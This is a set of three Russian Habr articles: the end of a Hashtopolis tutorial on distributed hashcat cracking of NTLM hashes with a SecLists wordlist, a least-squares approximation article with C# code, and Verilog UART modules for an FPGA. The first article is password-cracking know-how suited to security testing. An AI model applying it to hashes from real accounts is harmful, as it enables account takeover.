Будьте внимательны при заполнении формы, в частности избегайте «пробелов» в «Download URL», в поле «Binary Base Name» указать именно «hashcat» — скрипт агента дополнит недостающие части в имени исполняемого файла. Так мы добавили дополнительный набор исполняемых файлов для версии 4.1.0. Внести изменения можно кликнув на название cracker'а в колонке «Name».
В результате данной «настройки» при создании нового задания («Tasks/New Tasks») можно будет выбрать версию hashcat.
В разделе «Crackers» можно также добавить другой типа cracker'а, [подробнее о работе с «generic cracker» тут](https://github.com/s3inlc/hashtopolis/blob/master/doc/README.md).
При запуске задания в локальную директорию «crackers» на хосте агента будет распакован указанный в «Download URL» 7z-архив в папку под номером ID cracker'а
Если данная версия cracker'а была «установлена» ранее — повторное скачивание архива выполняться не будет.
Создаем задание на взлом хешей
------------------------------
Мы настроили агента и уже не терпится проверить его в деле. Для того, чтобы начать «взлом хешей» нужно создать список хешей (или «Hash list»), а потом указать его в задаче. Для создания списка в веб-интерфейсе Hashtopolis нажимаем «Lists» и выбираем «New hashlist» из выпадающего меню. На своих проектах мы регулярно сталкиваемся с NTLM/NetNTLM хешами — на них и потренируемся. Воспользуемся любым онлайн-сервисом и сгенерируем NTLM-хешей. Затем, установим остальные параметры списка и нажмем «Create hashlist»:
**Важный момент** — все «взломанные/не взломанные» хеши можно будет увидеть в созданном списке, т.е. все данные по хешам связаны со списком, даже задачи с ним связаны. Поэтому будьте внимательны при удалении hash list'ов. А если по какой-то причине модули приложения перестанут работать, например у нас заглючил модуль «notifications.php» после удаления task, на которую были назначены уведомления — пришлось чикать записи в таблице «NotificationSetting»
Далее необходимо добавить словарь, так как ломать хеши мы будем именно «словарным» подбором (ключ '-a0' в 'hashcat'). Переходим в раздел «Files» (будет активна вкладка «Wordlists»), нажимаем кнопку «Add file» и выбираем локальный файл, после чего кликаем «Upload files». Также можем воспользоваться загрузкой по URL, например, [скачаем словарь с «известного» репозитория](https://github.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt):
Теперь можно приступить к заданиям для агента. Из главного меню Hashtopolis выбираем «Tasks/New task». Далее заполняем форму:
1. Вводим имя задания в параметре «Name»
2. Выбираем список хешей в параметре «Haslist»
3. Отмечаем словарь из списка «Wordlists» справа — имя словаря подставится автоматически в поле «Command line» либо: Указываем путь к словарю в формате "..\path\to\file\%filename%"
4. В поле «Command line» вводим параметры запуска hashcat, например "-a0"
5. Приоритет актуален когда есть множество задач
6. «Task notes» используется для пометок, за пределами Hashtopolis они не будут доступны
7. Можно выбрать цвет для задания, которым оно будет отмечено в списке заданий (меню «Task/Show tasks»)
Остальные параметры оставляем по умолчанию, кликаем «Create task». После этого в списке заданий появится новое задание:
Как видно из таблицы, на задачу «NTLM\_test\_crack» не назначен агент(-ы). Назначить агента можно либо из меню «Agent details» в параметре «Assignment:», либо в свойствах задания выбрать агент из списка и нажать кнопку «Assign»:
Сразу же после этого на агенте начнётся «движуха» — будут переданы инструкции:
* Загрузить «cracker binaries» (по умолчанию [hashcat.net/files/hashcat-5.1.0.7z](https://hashcat.net/files/hashcat-5.1.0.7z)). Если файлы существуют и версия совпадает — скачиваться архив не будет
* Загрузить файл словаря (если указан «wordlist» сервера hashtopolis)
* Выполнить короткий тест производительности
* Начать «взлом хешей»
При этом в консоли будет выводиться информация о стадиях подготовки GPU, процессе подбора, производительности системы в «H/s» и т.п.
В результате запуска задания и его выполнения будет обновлен статус «списка хешей». Подобранные пароли можно просмотреть кликнув на цифру напротив «Cracked:» в таблице «Tasks», либо в разделе «Hash details»:
При возникновении ошибок у агента в ходе выполнения заданий, статус этого агента будет изменен и нужно будет вручную его активировать. Чтобы вновь «активировать» агента, нужно поставить птичку напротив параметра «Activity» в настройках агента. Статус «Paused» выглядит так:
Чтобы агент не останавливался из-за ошибок, нужно изменить параметр «Cracker errors» на одну из опций «Keep agent running» (агент будет работать, но ошибки можно либо фиксировать в журнале либо отклонять):
Хвост
-----
Спасибо за внимание! В следующей части расскажем про настройку уведомлений в Hashtopolis. | https://habr.com/ru/post/446922/ | null | ru | null |
# Среднеквадратичное приближение функций
На днях нужно было написать программу, вычисляющую среднеквадратичное приближение функции, заданной таблично, по степенному базису — методом наименьших квадратов. Сразу оговорюсь, что тригонометрический базис я не рассматривал и в этой статье его брать не буду. В конце статьи можно найти исходник программы на C#.
#### Теория
Пусть значения приближаемой функции *f(x)* заданы в *N+1* узлах *f(x0), ..., f(xN)*. Аппроксимирующую функцию будем выбирать из некоторого параметрического семейства *F(x, c)*, где *c = (c0, ..., cn)T* — вектор параметров, *N > n*.
Принципиальным отличием задачи среднеквадратичного приближения от задачи интерполяции является то, что число узлов превышает число параметров. В данном случае практически всегда не найдется такого вектора параметров, для которого значения аппроксимирующей функции совпадали бы со значениями аппроксимируемой функции во всех узлах.
В этом случае задача аппроксимации ставится как задача поиска такого вектора параметров *c = (c0, ..., cn)T*, при котором значения аппроксимирующей функции как можно меньше отклонялись бы от значений аппроксимируемой функции *F(x, c)* в совокупности всех узлов.
Графически задачу можно представить так
Запишем критерий среднеквадратичного приближения для метода наименьших квадратов:
*J( c) = √ (Σi=0N[f(xi) — F(x, c) ]2) →min*
Подкоренное выражение представляет собой квадратичную функцию относительно коэффициентов аппроксимирующего многочлена. Она непрерывна и дифференцируема по *c0, ..., cn*. Очевидно, что ее минимум находится в точке, где все частные производные равны нулю. Приравнивая к нулю частные производные, получим систему линейных алгебраических уравнений относительно неизвестных (искомых) коэффициентов многочлена наилучшего приближения.
Метод наименьших квадратов может быть применен для различных параметрических функций, но часто в инженерной практике в качестве аппроксимирующей функции используются многочлены по какому-либо линейно независимому базису {*φ*k*(x), k=0,...,n*}:
**F(x, c)* = Σk=0n[*ckφ*k*(x)*]*.
В этом случае система линейных алгебраических уравнений для определения коэффициентов будет иметь вполне определенный вид:
a00c0 + a01c1 +… + a0ncn = b0
a10c0 + a11c1 +… + a1ncn = b1
…
an0c0 + an1c1 +… + anncn = bn
*akj = Σi=0N [φk(xi)φj(xi) ], bj = Σi=0N[f(xi)φj(xi) ]*
Чтобы эта система имела единственное решение необходимо и достаточно, чтобы определитель матрицы А (определитель Грама) был отличен от нуля. Для того, чтобы система имела единственное решение необходимо и достаточно чтобы система базисных функций *φ*k*(x), k=0,...,n* была линейно независимой на множестве узлов аппроксимации.
В этой статье рассматривается среднеквадратичное приближение многочленами по степенному базису {*φ*k*(x) = xk, k=0,...,n*}.
#### Пример
А теперь перейдем к примеру. Требуется вывести эмпирическую формулу для приведенной табличной зависимости *f(х),* используя метод наименьших квадратов.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| x | 0,75 | 1,50 | 2,25 | 3,00 | 3,75 |
| y | 2,50 | 1,20 | 1,12 | 2,25 | 4,28 |
Примем в качестве аппроксимирующей функцию
*y = F(x) = c0 + c1x + c2x2*, то есть, n=2, N=4
Система уравнений для определения коэффициентов:
a00c0 + a01c1 +… + a0ncn = b0
a10c0 + a11c1 +… + a1ncn = b1
…
an0c0 + an1c1 +… + anncn = bn
*akj = Σi=0N[φk(xi)φj(xi) ], bj = Σi=0N[f(xi)φj(xi) ]*
Коэффициенты вычисляются по формулам:
*a00 = N + 1 = 5, a01 = Σi=0Nxi = 11,25, a02 = Σi=0Nxi2 = 30,94
a10 = Σi=0Nxi = 11,25, a11 = Σi=0Nxi2 = 30,94, a12 = Σi=0Nxi3 = 94,92
a20 = Σi=0Nxi2 = 30,94, a21 = Σi=0Nxi3 = 94,92, a22 = Σi=0Nxi4 = 303,76
b0 = Σi=0Nyi = 11,25, b1 = Σi=0Nxiyi = 29, b2 = Σi=0Nxi2yi = 90,21*
Решаем систему уравнений и получаем такие значения коэффициентов:
c0 = 4,822, c1 = -3,882, c2 = 0,999
Таким образом
y = 4,8 — 3,9x + x2
График получившейся функции
#### Релизация на C#
А теперь перейдем к тому, как написать код, который бы строил такую матрицу. А тут, оказывается, все совсем просто:
```
private double[,] MakeSystem(double[,] xyTable, int basis)
{
double[,] matrix = new double[basis, basis + 1];
for (int i = 0; i < basis; i++)
{
for (int j = 0; j < basis; j++)
{
matrix[i, j] = 0;
}
}
for (int i = 0; i < basis; i++)
{
for (int j = 0; j < basis; j++)
{
double sumA = 0, sumB = 0;
for (int k = 0; k < xyTable.Length / 2; k++)
{
sumA += Math.Pow(xyTable[0, k], i) * Math.Pow(xyTable[0, k], j);
sumB += xyTable[1, k] * Math.Pow(xyTable[0, k], i);
}
matrix[i, j] = sumA;
matrix[i, basis] = sumB;
}
}
return matrix;
}
```
На входе функция получает таблицу значений функций — матрицу, в первом столбце которой содержатся значения x, во втором, соответственно, y, а также значение степенного базиса.
Сначала выделяется память под матрицу, в которую будут записаны коэффициенты для решения системы линейных уравнений. Затем, собственно, составляем матрицу — в sumA записываются значения коэффициентов aij, в sumB — bi, все по формуле, указанной выше в теоретической части.
Для решения составленной системы линейных алгебраических уравнений в моей программе используется метод Гаусса. Архив с проектом можно скачать [по ссылке](http://dev.flatrow.com/masureapox.zip "Среднеквадратичное приближение функций").
Скриншот работы программы на примере, решенном выше:
Используемые источники:
Сулимова В.В. Методические указания по курсу «Вычислительный практикум» — Тула, ТулГУ, 2009 — 65 с. | https://habr.com/ru/post/131335/ | null | ru | null |
# Мой «Hello World!» на FPGA или очередная версия UART
Наконец-то у меня дошли руки до изучения ПЛИС. А то как-то неправильно получается: драйвера на железо под Linux пишу, микроконтроллеры программирую, схемы читаю (и немного проектирую), надо расти дальше.
Так как мигать светодиодами мне показалось не интересно, то решил сделать простенькую вещь. А именно написать модули приемника и передатчика для UART, объединить их внутри FPGA (заодно понять как использовать IP Core), ну и протестировать это все на реальном железе.
Сразу говорю, что сделать универсальное параметризированное ядро задачи не стояло. Это просто тестовый проект, на предмет «пощупать, что такое FPGA и как с ней общаться».
Итак, начнем с приемника. Алгоритм достаточно [хорошо описан](#UART), поэтому повторю здесь только основные его моменты.
* Частоту семплирования сигнала RX выберем в четыре раза больше, чем требуемая скорость передачи по UART.
* Условием начала приема будем считать переход входного сигнала RX из высокого уровня в низкий в случае, если в данный момент прием еще не ведется.
* Условием достоверного опознания стартового бита будем считать удержание сигнала RX в состоянии низкого уровня на втором такте частоты семплирования. При этом мы практически попадаем на середину битового импульса, что позволит в дальнейшем производить семплирование импульсов через каждые 4 такта.
* В случае ошибки в стартовом либо в стоповом битах устанавливаем сигнал ошибки error. На его основе формируем сигнал fastsync, который в дальнейшем будем использовать для быстрой синхронизации приемника.
* После опознавания стартового бита начинаем последовательный прием битов данных, начиная с самого младшего. Принимаемые данные записываем в регистр со сдвигом вправо на один бит. Условием окончания приема будет являться обнаружение стартового бита в 0-й позиции сдвигового регистра.
* Быстрая синхронизация приемника заключается в приведении его в исходное состояние после обнаружения ошибки при переходе сигнала RX в высокий уровень (это может быть как передача логической «1», так и передача стоп-бита либо состояние бездействия линии передачи).
* Условием успешного завершения приема (корректных значений стартового и стопового битов) является сигнал complete. От него (при тактировании сигналом rdclk) формируется импульсный сигнал ready, который обозначает наличие валидных данных на шине rxdata.
Сразу отмечу, что тактировать сигнал чтения ready от тактового сигнала clk я не хотел (неожиданно, да?), чтобы не завязавать скорость последующей обработки данных на скорость обмена по UART. Аналогичная реализация и в модуле передатчика ([см. ниже](#TRANSMITTER)). А тестовая связка модулей приемника и передатчика сделана на основе IP Core FIFO от Intel, причем с возможностью имитации различных скоростей для потребителя и генератора данных. Единственным ограничением является то, что тактовая частота производителя и потребителя данных должна быть не ниже тактовой частоты clk.
**Модуль приемника (Verilog)**
```
//
// Блок приемника UART
//
// Данные rxdata валидны, когда ready==1 и error==0.
// Сигнал ready устанавливается в 1 после завершения приема на один такт rdclk.
//
// Реализация:
// После перехода сигнала rx в низкий уровень проверяем его неизменность в течении
// 2-х тактов. Если уровень остался низким, значит начат прием стартового бита.
// В этом случае делаем прием 8 битов данных и одного стоп-бита (всего 9 битов).
// 2 Такта - это приблизительно середина бита, так что устойчивость должна быть
// хорошей.
//
// Биты передаются начиная от младшего к старшему.
// Лог. '0' передается низким уровнем сигнала, лог. '1' передается высоким уровнем сигнала
// idle передается высоким уровнем сигнала (лог. '1')
// start-бит передается низким уровнем сигнала (лог. '0')
// stop-бит передается высоким уровнем сигнала (лог. '1')
module uart_rx(
nreset, // сигнал сброса (асинхронный, активный уровень 0)
clk, // тактовая частота UART, д.б. в четыре раза больше скорости обмена по UART
rx, // входная линия UART
rdclk, // тактирование чтения результата приема (rxdata, ready)
rxdata, // принятые данные, значение валидно при ready==1
ready, // индикатор валидности данных rxdata (активный уровень 1)
error, // индикатор ошибки приема (активный уровень 1)
busy, // индикатор занятости модуля (идет прием, активный уровень 1)
idle); // индикатор свободной линии приемника (активный уровень 1)
input wire nreset; // сигнал сброса (асинхронный, активный уровень 0)
input wire clk; // тактовая частота, д.б. в четыре раза больше скорости обмена по UART
input wire rx; // входная линия UART
input wire rdclk; // тактирование чтения результата приема
output wire[7:0] rxdata;
output wire ready;
output error;
output busy;
output idle;
// Изменение сигнала завершения приема, тактируемое через rdclk
reg[2:0] done = 3'b000;
// Выходной сигнал готовности принятых данных, тактируемый rdclk
//assign ready = (done == 2'b10) ? 1'b1 : 1'b0;
assign ready = (done[1] && !done[0]) ? 1'b1 : 1'b0;
// Признак наличия ошибки приема
reg error = 1'b0;
// Сигнал сброса логики приемника для быстрой синхронизации при ошибке
// Если на текущем такте имеем ранее установленный сигнал error и высокий
// уровень сигнала rx, возможно это пауза между передаваемыми байтами данных.
wire fastsync = (error && rx);
// Признак свободной линии приемика
reg idle = 1'b1;
// Принятые данные:
// d[9] - стоповый бит, д.б. == 1
// d[8:1] - данные
// d[0] - стартовый бит, д.б. == 0
reg[9:0] d = 10'b1xxxxxxxx1;
// Статус приема. Завершение приема индицируется значением 2'b10
wire[1:0] status = { d[9], d[0] };
// Признак завершения приема.
wire complete = (status == 2'b10) ? 1'b1 : 1'b0;
// Принятый байт данных
assign rxdata = d[8:1];
// Признак занятости модуля
reg busy = 0;
// Счетчик тактовых импульсов до семплирования линии rx
reg[1:0] cnt;
always @(posedge clk, negedge nreset)
begin
if(!nreset) begin
rxreset();
end else begin
if(fastsync) begin
rxreset();
end else begin
if(busy == 1'b1) begin
// Идет прием чего-то, проверяем необходимость семплинга rx
if(cnt == 2'd0) begin
// Записываем принятый бит
// в старший разряд данных со сдвигом предыдущего значения вправо
// (т.к. передача идет от младшего бита к старшему)
d <= { rx, d[9:1] };
if(d[1] == 1'b0) begin
// На этом шаге стартовый бит попадет в последнюю позицию, прием завершен
busy <= 1'b0;
// Проверяем корректность стопового бита
error <= (rx == 1'b1) ? 1'b0 : 1'b1;
end else begin
// Мы находимся в процессе приема
if(rx && (d == 10'b1111111111)) begin
// Слишком маленькая длительность стартового бита
busy <= 1'b0;
// Индицируем наличие ошибки
error <= 1'b1;
end else begin
// Нормальная процедура приема
// Кол-во тактов целого бита - подготовка к приему следующего бита
cnt <= 2'd3;
end
end
end else begin
// Уменьшаем кол-во оставшихся до семплинга тактов
cnt <= cnt - 2'd1;
end
end else begin
// Модуль пока еще ничего не делает
if(!error) begin
// Нет сигнала ошибки, можно попытаться начать прием стартового бита
if(rx == 1'b0) begin
// Линия приемника в низком уровне и до этого приема не было - начинаем работу
busy <= 1'b1;
// Инициализируем буфер приема данных. Здесь критично записать все 1, т.к. окончание
// приема определяется состоянием d[0]==0
d <= 10'b1111111111;
// Проверять линию rx будем через 1/2 длительности бита
// 1-й такт - это текущее сэмплирование
// 2-й такт - это следующее сэмплирование (cnt будет 0)
cnt <= 2'd0;
// Т.к. мы потенциально начали прием, отмечаем линию как занятую
idle <= 1'b0;
end else begin
// Линия приемника свободна
idle <= 1'b1;
end
end
end
end
end
end
task rxreset;
begin
// Сброс признака ошибки
error <= 1'b0;
// Установка сигнала свободной линии (!?)
idle <= 1'b1;
// Сброс признака занятости модуля
busy <= 0;
// В принципе можно записать что-нибудь, лишь бы статус не попал в complete
d <= 10'b1xxxxxxxx1;
end
endtask
always @(negedge rdclk, negedge nreset)
begin
if(!nreset) begin
done <= 3'b000;
end else begin
// По тактам чтения сохраняем состояние сигнала complete.
// Логика сигнала формирования сигнала ready формирует один импульс при
// изменение сигнала complete с 0 на 1 на один такт rdclk.
done <= { complete, done[2:1] };
end
end
endmodule
```
Так как входной сигнал RX является асинхронным и (возможно) нестабильным, в [главном модуле](#MAIN) перед модулем приемника был подключен [мажоритарный элемент](#FILTER). Элемент также написан на Verilog, но его код здесь приводить смысла нет. Вместо него красивая картинка синтезированного элемента.
**Синтезированная схема мажоритарного элемента**
Блок передатчика еще проще и, надеюсь, в дополнительных комментариях не нуждается.
**Модуль передатчика (Verilog, блокирующие и не блокирующие присваивания внутри always)**
```
//
// Блок передатчика UART
//
// Сигналы:
// clk - частота должна быть в 4 раза больше скорости передачи, скважность не важна
// rdclk - тактирование обмена txdata, write, fetch. Частота д.б. выше clk
// txdata - данные для передачи, управляются сигналами write/fetch
// write - источник имеет данные для передачи (1=да)
// fetch - модуль принял данные для передачи (1=да)
// tx - линия передачи UART
// idle - линия передачи свободна (1=да, информационный сигнал)
//
// Для FIFO нужно использовать режим dcfifo_component.lpm_showahead = "ON"
module uart_tx(
nreset, // сигнал сброса (асинхронный, активный уровень 0)
clk, // тактовая частота UART, д.б. в четыре раза больше скорости обмена по UART
rdclk, // тактирование подтверждения приема данных от поставщика
txdata, // шина данных на передачу от поставщика
write, // признак наличия данных на передачу (активный уровень 1)
idle, // индикатор не активного передатчика (активный уровень 1)
fetch, // подтверждение загрузки данных от поставщика, тактируется rdclk
tx); // выходная линия UART
input wire nreset; // сигнал сброса (асинхронный, активный уровень 0)
input wire clk; // тактирование UART
input wire rdclk;
input wire[7:0] txdata;
input wire write;
output wire idle;
output fetch;
output tx;
// Состояние выходной линии
reg tx = 1'b1;
reg fetch = 1'b0;
// Делитель частоты на 4
reg[1:0] div4 = 2'd0;
// Состояние машины:
reg[3:0] s = 4'd10;
// Передатчик полностью свободен
assign idle = (s == 4'd10);
// Сдвиговый регистр данных
reg[7:0] d;
// Признак передачи стартового бита в данном цикле
reg sendstart;
// Признак возможности запроса новых данных на передачу
reg canfetch;
// Признак завершения ввода новых данных, тактируется clk
reg gotdata = 1'b0;
// Для синхронизации clock domains
reg[2:0] sync = 3'b000;
// Запомненный по rdclk сигнал write
reg wr = 1'b0;
// При появлении запроса getdata==1 при наличии данных у внешнего источника
// производится их запоминание в регистре nextdata и устанавливается признак
// готовности gotdata==1. Кроме того, для внешнего источника данных формируется
// сигнал подтверждени.
// Сигнал gotdata снимается при снятии сигнала getdata.
always @(posedge rdclk, negedge nreset)
begin
if(!nreset) begin
wr <= 1'b0;
sync <= 3'b000;
// Сбрасываем сигнал подтверждения ввода данных
fetch <= 1'b0;
end else begin
// Запоминаем сигнал write
wr <= write;
// Проверяем появление запроса новых данных для передачи
sync <= { gotdata, sync[2:1] };
// По положительному переходу сигнала gotdata устанавливаем
// сигнал подтверждения для источника данных. В остальных
// случаях сбрасываем его.
fetch <= (sync[1] && !sync[0]) ? 1'b1 : 1'b0;
end
end
always @(posedge clk, negedge nreset)
begin
if(!nreset) begin
// Установка передатчика в исходное состояние
div4 <= 2'd0;
s <= 4'd10;
gotdata <= 1'b0;
end else begin
// Пока нет признака передачи стартового бита в этом цикле
sendstart = 1'b0;
// Начальная установка признака запроса данных на передачу
canfetch = wr;
if(div4 == 2'd0) begin
case(s)
4'd0:
begin
// Передача стартового бита будет инициирована ниже
sendstart = 1'b1;
// Передатчик занят, нельзя запрашивать новые данные
canfetch = 1'b0;
end
4'd9:
begin
// Передача стопового бита
tx <= 1'b1;
end
4'd10:
begin
// Состояние idle, ничего не делаем
end
default:
begin
// Идет передача битов данных, текущий младший является выходом
tx <= d[0];
// Выполняем сдвиг данных вправо
d <= { 1'b0, d[7:1] };
// Передатчик занят, нельзя запрашивать новые данные
canfetch = 1'b0;
end
endcase
end else begin
// Выдерживаем текущее состояние
div4 <= div4 - 2'd1;
if(s < 4'd9) begin
// При выдерживании до состояния 9 прием новых данных невозможен!
canfetch = 1'b0;
end
end
if(canfetch) begin
// Входные данные готовы, передаем их на обработку
d <= txdata;
// Подтверждение взятия данных на обработку
gotdata <= 1'b1;
if(idle /*s == 4'd10*/) begin
// Состояние idle - немедленно начинаем передачу стартового бита
sendstart = 1'b1;
end else begin
// На следующем шаге переходим к передаче стартового бита
s <= 4'd0;
end
end
if(gotdata) begin
// Данные были приняты ранее, снимаем сигнал подтверждения
gotdata <= 1'b0;
end
if(sendstart) begin
// На данном шаге начинаем передачу стартового бита
tx <= 1'b0;
// Переходим к следующему состоянию
s <= 4'd1;
// Длительность стартового бита
div4 <= 2'd3;
end else begin
if(div4 == 2'd0) begin
if(s < 4'd10) begin
// Последовательное изменение состояния на следующее
s <= s + 4'd1;
// Время выдерживания состояния
div4 <= 2'd3;
end
end
end
end
end
endmodule
```
Вышеприведенная реализация передатчика вызвала горячую дискуссию в комментариях. Хотя в результате вроде бы все сошлись во мнении, что так делать можно, но осторожно. Для собственного спокойствия модуль был переписан с учетом всех упомянутых guideliness. На мой взгляд он ненамного сложнее предыдущего с точки зрения восприятия человеком реализуемого алгоритма.
**Модуль передатчика (Verilog, идеологически правильный)**
```
//
// Блок передатчика UART
//
// Сигналы:
// clk - частота должна быть в 4 раза больше скорости передачи, скважность не важна
// rdclk - тактирование обмена txdata, write, fetch. Частота д.б. выше clk
// txdata - данные для передачи, управляются сигналами write/fetch
// write - источник имеет данные для передачи (1=да)
// fetch - модуль принял данные для передачи (1=да)
// tx - линия передачи UART
// idle - линия передачи свободна (1=да, информационный сигнал)
//
// Для FIFO нужно использовать режим dcfifo_component.lpm_showahead = "ON"
module uart_tx(
nreset, // сигнал сброса (асинхронный, активный уровень 0)
clk, // тактовая частота UART, д.б. в четыре раза больше скорости обмена по UART
rdclk, // тактирование подтверждения приема данных от поставщика
txdata, // шина данных на передачу от поставщика
write, // признак наличия данных на передачу (активный уровень 1)
idle, // индикатор не активного передатчика (активный уровень 1)
fetch, // подтверждение загрузки данных от поставщика, тактируется rdclk
tx); // выходная линия UART
input wire nreset; // сигнал сброса (асинхронный, активный уровень 0)
input wire clk; // тактирование UART
input wire rdclk;
input wire[7:0] txdata;
input wire write;
output wire idle;
output fetch;
output tx;
// Состояние выходной линии
reg tx = 1'b1;
reg fetch = 1'b0;
// Делитель частоты на 4
reg[1:0] div4 = 2'd0;
// Состояние машины:
reg[3:0] s = 4'd10;
// Передатчик полностью свободен
assign idle = (s == 4'd10);
// Сдвиговый регистр данных
reg[7:0] d;
// Признак передачи стартового бита в данном цикле
reg sendstart;
// Признак возможности запроса новых данных на передачу
reg canfetch;
// Признак завершения ввода новых данных, тактируется clk
reg gotdata = 1'b0;
// Для синхронизации clock domains
reg[2:0] sync = 3'b000;
// Запомненный по rdclk сигнал write
reg wr = 1'b0;
// При появлении запроса getdata==1 при наличии данных у внешнего источника
// производится их запоминание в регистре nextdata и устанавливается признак
// готовности gotdata==1. Кроме того, для внешнего источника данных формируется
// сигнал подтверждени.
// Сигнал gotdata снимается при снятии сигнала getdata.
always @(posedge rdclk, negedge nreset)
begin
if(!nreset) begin
wr <= 1'b0;
sync <= 3'b000;
// Сбрасываем сигнал подтверждения ввода данных
fetch <= 1'b0;
end else begin
// Запоминаем сигнал write
wr <= write;
// Проверяем появление запроса новых данных для передачи
sync <= { gotdata, sync[2:1] };
// По положительному переходу сигнала gotdata устанавливаем
// сигнал подтверждения для источника данных. В остальных
// случаях сбрасываем его.
fetch <= (sync[1] && !sync[0]) ? 1'b1 : 1'b0;
end
end
// Для улучшения стиля(?) выносим комбинаторную логику в отдельный always
// Здесь у нас вычисляются сигналы sendstart и canfetch
always @(*)
begin
// Пока нет признака передачи стартового бита в этом цикле
sendstart = 1'b0;
if(nreset) begin
// Начальная установка признака запроса данных на передачу
canfetch = wr;
if(div4 == 2'd0) begin
case(s)
4'd0:
begin
// Передача стартового бита будет инициирована ниже
sendstart = 1'b1;
// Передатчик занят, нельзя запрашивать новые данные
canfetch = 1'b0;
end
4'd9:
begin
// Передача стопового бита
end
4'd10:
begin
// Состояние idle, ничего не делаем
end
default:
begin
// Идет передача битов данных
// Передатчик занят, нельзя запрашивать новые данные
canfetch = 1'b0;
end
endcase
end else begin
if(s < 4'd9) begin
// При выдерживании до состояния 9 прием новых данных невозможен!
canfetch = 1'b0;
end
end
if(canfetch && idle) begin
// Состояние idle - немедленно начинаем передачу стартового бита
sendstart = 1'b1;
end
end else begin
// В случае активного reset мы вообще работать не будем
canfetch = 1'b0;
end
end
always @(posedge clk, negedge nreset)
begin
if(!nreset) begin
// Установка передатчика в исходное состояние
div4 <= 2'd0;
s <= 4'd10;
gotdata <= 1'b0;
end else begin
if(div4 == 2'd0) begin
case(s)
4'd0:
begin
// В зависимости от sendstart может быть инициирована передача стартового бита
end
4'd9:
begin
// Передача стопового бита
tx <= 1'b1;
end
4'd10:
begin
// Состояние idle, ничего не делаем
end
default:
begin
// Идет передача битов данных, текущий младший является выходом
tx <= d[0];
// Выполняем сдвиг данных вправо
d <= { 1'b0, d[7:1] };
end
endcase
end else begin
// Выдерживаем текущее состояние
div4 <= div4 - 2'd1;
end
if(canfetch) begin
// Входные данные готовы, передаем их на обработку
d <= txdata;
// Подтверждение взятия данных на обработку
gotdata <= 1'b1;
if(!idle /*s == 4'd10*/) begin
// На следующем шаге переходим к передаче стартового бита
s <= 4'd0;
end
end else begin
// Если данные были приняты ранее, снимаем сигнал подтверждения
gotdata <= 1'b0;
end
if(sendstart) begin
// На данном шаге начинаем передачу стартового бита
tx <= 1'b0;
// Переходим к следующему состоянию
s <= 4'd1;
// Длительность стартового бита
div4 <= 2'd3;
end else begin
if((div4 == 2'd0) && (s < 4'd10)) begin
// Последовательное изменение состояния на следующее
s <= s + 4'd1;
// Время выдерживания состояния
div4 <= 2'd3;
end
end
end
end
endmodule
```
Для тестирования приемника и передатчика на коленке был написан главный модуль. На него прошу не ругаться, ошибки проектирования (внешний асинхронный сигнал nreset, отсутствие сброса FIFO и т.п.) я и сам знаю. Но для целей проверки функциональности они не существенны.
Моя демонстрационная плата тактируется от источника сигнала 50Mhz. Поэтому в главном модуле я использовал PLL, на выходе C0 которого сформировал частоту для работы c UART (1.8432Mhz, реально 1.843198Mhz) и, по-приколу, сформировал частоту 300Mhz (выход c1 PLL) для тактирования имитации схемы обработки информации.
**Главный модуль (Verilog)**
```
//
// Т.к. прием и передача данных через UART синхронизируется тактовой частотой UART,
// а обработка данных синхронизируется тактовой частотой FPGA, то нужно использовать
// для каждого модуля FIFO IP CORE типа DCFIFO.
//
//NB!
// Не забываем в SDC-файле прописывать соответствующие внутренние частоты!
// Иначе получаем зверские эффекты (типа часть внутри блока if выполнилась,
// а часть нет).
module uart(
input wire clk50mhz, // тактовая частота 50Mhz
input wire nreset, // инверсный сигнал сброса
input wire rx, // входной сигнал UART
output wire tx, // выходной сигнал UART
output wire overflow
);
// Тактовая частота 1.8432Mhz (реально 1.843198Mhz)
wire clk_1843200;
// Тактовая частота 1.2288Mhz (реально 1.228799Mhz)
//wire clk_1228800;
// Внутренняя тактовая частота 300Mhz, сформированная PLL
wire clk300mhz;
// Синтезируем тактовые частоты для UART
uart_pll pll50mhz(.inclk0(clk50mhz),
.c0(clk_1843200) /*, .c1(clk_1228800)*/,
.c1(clk300mhz));
// Скорость UART 38400
// Делитель (1843200/38400)/4 = 12 ('b1100).
// Скорость UART 57600
// Делитель (1843200/57600)/4 = 8
// Скорость UART 115200
// Делитель (1843200/115200)/4 = 4
// Скорость UART 230400
// Делитель (1843200/230400)/4 = 2
// Скорость UART 460800
// Делитель (1843200/460800)/4 = 1 (т.е. делитель вообще не нужен!)
// Тактовая частота для UART
wire uart_baud4;
// Подключаем его в схему
// Значение делителя .data должно быть на 1 меньше требуемого делителя. Тогда
// период сигнала uart_baud4 будет равен значению .clock/делитель
// Длительность высокого уровня сигнала uart_baud4 будет равна одному такту .clock
uart_osc uart_osc_1(.clock(clk_1843200),
.data(5'd2/*5'd4*//*5'd12*/-5'd1),
.sload(uart_baud4),
.cout(uart_baud4));
//wire uart_baud4 = clk_1843200;
// Входной сигнал после мажоритарного фильтра
wire rxf;
// Подключаем мажоритарный фильтр на входной сигнал
mfilter mfilter_rx(.clk(clk50mhz /*clk_1843200*/),
.in(rx),
.out(rxf));
//wire rxf = rx;
// Подключаем модуль приемника
wire[7:0] rxdata;
wire rxready;
wire error;
uart_rx uart_rx_1(.nreset(nreset),
.clk(uart_baud4),
.rx(rxf),
.rdclk(clk300mhz /*clk50mhz*/ /*clk_1843200*/),
.rxdata(rxdata),
.ready(rxready),
.error(error));
wire[7:0] txdata;
// Сигнал, индицирующий отсутствие данных, ожидающих передачи
wire txnone;
// Сигнал, индицирующий готовность передатчика принять новые данные
wire fetch;
wire full;
// Буферирование принятых данных
// Запись тактируется сигналом uart_baud4
// Чтение тактируется сигналом clk50mhz
uart_fifo_rx uart_fifo_rx_1(.data(rxdata),
.rdclk(clk300mhz /*clk50mhz*/ /*clk_1843200*/ /*uart_baud4*/),
.rdreq(fetch),
.wrclk(clk300mhz /*clk50mhz*/ /*clk_1843200*/ /*uart_baud4*/),
.wrreq(rxready),
.rdempty(txnone),
.q(txdata),
.wrfull(full));
assign overflow = ~error;
uart_tx uart_tx_1(.nreset(nreset),
.clk(uart_baud4),
.rdclk(clk300mhz /*clk50mhz*/ /*clk_1843200*/),
.txdata(txdata),
.write(~txnone),
.fetch(fetch),
.tx(tx));
endmodule
```
Для тестирования использовался генератор трафика testcom от Zelax. К сожалению, имеющийся у меня адаптер USB/UART отказался работать со скоростями выше 230400BPS, так что все тестирование проводилось на этой скорости.
**Результат тестирования с фильтрацией входного сигнала RX при помощи мажоритарного элемента**
